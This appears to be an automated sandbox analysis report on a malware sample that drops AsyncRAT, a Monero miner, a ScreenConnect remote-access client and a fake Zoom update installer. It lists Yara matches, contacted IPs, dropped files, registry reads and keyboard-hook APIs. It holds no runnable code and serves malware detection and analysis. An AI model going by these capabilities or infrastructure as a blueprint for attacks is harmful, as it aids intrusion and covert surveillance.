Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899

Source: unknown	HTTPS traffic detected: 185.196.8.237:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.184:443 -> 192.168.2.4:49774 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: 22_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

22_2_00408DBB

Source: 74df2248d3.exe, 00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_88e240ec-c

Source: 74df2248d3.exe, 00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_7ce9c583-c

Source: Yara match	File source: 50.3.74df2248d3.exe.5cb0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.3.74df2248d3.exe.5a90000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 74df2248d3.exe PID: 2912, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security

Reads the System eventlog

Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 7.0.software1.exe.1e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000006.00000003.2393191289.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000007.00000000.2396214625.00000000001E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\X91lnt.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: a8e958d3ab.exe.6.dr	Static PE information: section name:
Source: a8e958d3ab.exe.6.dr	Static PE information: section name: .idata
Source: a8e958d3ab.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: 74df2248d3.exe.6.dr	Static PE information: section name:
Source: 74df2248d3.exe.6.dr	Static PE information: section name: .idata
Source: 74df2248d3.exe.6.dr	Static PE information: section name:

Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe

Code function: 19_2_05160040 CreateProcessAsUserW,

19_2_05160040

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\62bf7a.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{0F0F3A06-836F-1282-FBD2-C84A34E3C174}
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC324.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC335.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC587.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\62bf7c.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\62bf7c.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\{0F0F3A06-836F-1282-FBD2-C84A34E3C174}
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\{0F0F3A06-836F-1282-FBD2-C84A34E3C174}\DefaultIcon
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Installer\wix{0F0F3A06-836F-1282-FBD2-C84A34E3C174}.SchedServiceConfig.rmi
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\1ap3ahh4.tmp
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\1ap3ahh4.newcfg
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\pxf50pjp.tmp
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\pxf50pjp.newcfg
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\w1af5kdn.tmp
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\w1af5kdn.newcfg
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\ncpothgz.tmp
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\ncpothgz.newcfg
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\mgehdxbq.tmp
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\mgehdxbq.newcfg
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\r5rn2gzl.tmp
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\r5rn2gzl.newcfg

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIC335.tmp

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00328860	6_2_00328860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00327049	6_2_00327049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003278BB	6_2_003278BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00322D10	6_2_00322D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003231A8	6_2_003231A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002E4DE0	6_2_002E4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00317F36	6_2_00317F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002E4B30	6_2_002E4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0032779B	6_2_0032779B
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Code function: 7_2_00007FFD9B881249	7_2_00007FFD9B881249
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Code function: 7_2_00007FFD9B887386	7_2_00007FFD9B887386
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Code function: 7_2_00007FFD9B888132	7_2_00007FFD9B888132
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Code function: 7_2_00007FFD9B882460	7_2_00007FFD9B882460
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Code function: 7_2_00007FFD9B881289	7_2_00007FFD9B881289
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Code function: 10_2_00007FFD9B891249	10_2_00007FFD9B891249
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Code function: 10_2_00007FFD9B891289	10_2_00007FFD9B891289
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_04FE7CB0	19_2_04FE7CB0
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_04FED710	19_2_04FED710
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_04FEA0F8	19_2_04FEA0F8
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_04FED710	19_2_04FED710
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Code function: 19_2_04FEA0F8	19_2_04FEA0F8
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9B8A70DD	20_2_00007FFD9B8A70DD
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9B8CF620	20_2_00007FFD9B8CF620
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9B8A10D7	20_2_00007FFD9B8A10D7
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9B8A10CF	20_2_00007FFD9B8A10CF
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB6001	20_2_00007FFD9BBB6001
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB6E4C	20_2_00007FFD9BBB6E4C
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Code function: 20_2_00007FFD9BBB0F42	20_2_00007FFD9BBB0F42
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Code function: 21_2_00007FFD9B881249	21_2_00007FFD9B881249
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Code function: 21_2_00007FFD9B881289	21_2_00007FFD9B881289
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_00405BFC	22_2_00405BFC
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040B0E0	22_2_0040B0E0
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040B0E4	22_2_0040B0E4
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_00419973	22_2_00419973
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040A900	22_2_0040A900
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040A270	22_2_0040A270
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040AC20	22_2_0040AC20
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_00409C20	22_2_00409C20
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040D480	22_2_0040D480
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040ED00	22_2_0040ED00
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_00409DD0	22_2_00409DD0
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_00419601	22_2_00419601
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_004196DB	22_2_004196DB
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_00418F40	22_2_00418F40

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Client.dll EA0A545F40FF491D02172228C1A39AE68344C4340A6094486A47BE746952E64F
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll FD5818DCDF5FC76316B8F7F96630EC66BB1CB5B5A8127CF300E5842F2C74FFCA

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: String function: 004029A6 appears 44 times

Source: ZoomUpdateInstallerFull[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ZoomUpdateInstallerFull.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: sslproxydump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 7.0.software1.exe.1e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 45.3.Intel_PTT_EK_Recertification.exe.16fee440000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000006.00000003.2393191289.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000007.00000000.2396214625.00000000001E2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\X91lnt.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983715088555858
Source: file.exe	Static PE information: Section: upegxhma ZLIB complexity 0.9940927170580317
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983715088555858
Source: skotes.exe.0.dr	Static PE information: Section: upegxhma ZLIB complexity 0.9940927170580317
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: e953dd76d3.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: e953dd76d3.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe0.6.dr	Static PE information: Section: vdaqvihp ZLIB complexity 0.9943529447448697
Source: a8e958d3ab.exe.6.dr	Static PE information: Section: vdaqvihp ZLIB complexity 0.9943529447448697
Source: random[1].exe2.6.dr	Static PE information: Section: ZLIB complexity 0.996742389298893
Source: random[1].exe2.6.dr	Static PE information: Section: swxylpaw ZLIB complexity 0.9927615683288207
Source: 74df2248d3.exe.6.dr	Static PE information: Section: ZLIB complexity 0.996742389298893
Source: 74df2248d3.exe.6.dr	Static PE information: Section: swxylpaw ZLIB complexity 0.9927615683288207

Source: software1[1].exe.6.dr, tuyaUSKGgTK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: software1[1].exe.6.dr, tuyaUSKGgTK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: software1[1].exe.6.dr, 4OCh7cZVPS7.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: software1.exe.6.dr, tuyaUSKGgTK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: software1.exe.6.dr, tuyaUSKGgTK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: software1.exe.6.dr, 4OCh7cZVPS7.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: X91lnt.exe.7.dr, tuyaUSKGgTK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: X91lnt.exe.7.dr, tuyaUSKGgTK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: X91lnt.exe.7.dr, 4OCh7cZVPS7.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsToolkit.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 12.0.ZoomUpdateInstallerFull.exe.75c3d4.2.raw.unpack, WindowsToolkit.cs	Cryptographic APIs: 'CreateDecryptor'

Source: software1.exe.6.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: software1.exe.6.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: software1[1].exe.6.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: software1[1].exe.6.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsExtensions.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsExtensions.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsExtensions.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: X91lnt.exe.7.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: X91lnt.exe.7.dr, UYqeZzUzj6RIWKSSjzl2Ng1ggs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.0.ZoomUpdateInstallerFull.exe.75c3d4.2.raw.unpack, WindowsExtensions.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 12.0.ZoomUpdateInstallerFull.exe.75c3d4.2.raw.unpack, WindowsExtensions.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.0.ZoomUpdateInstallerFull.exe.75c3d4.2.raw.unpack, WindowsExtensions.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

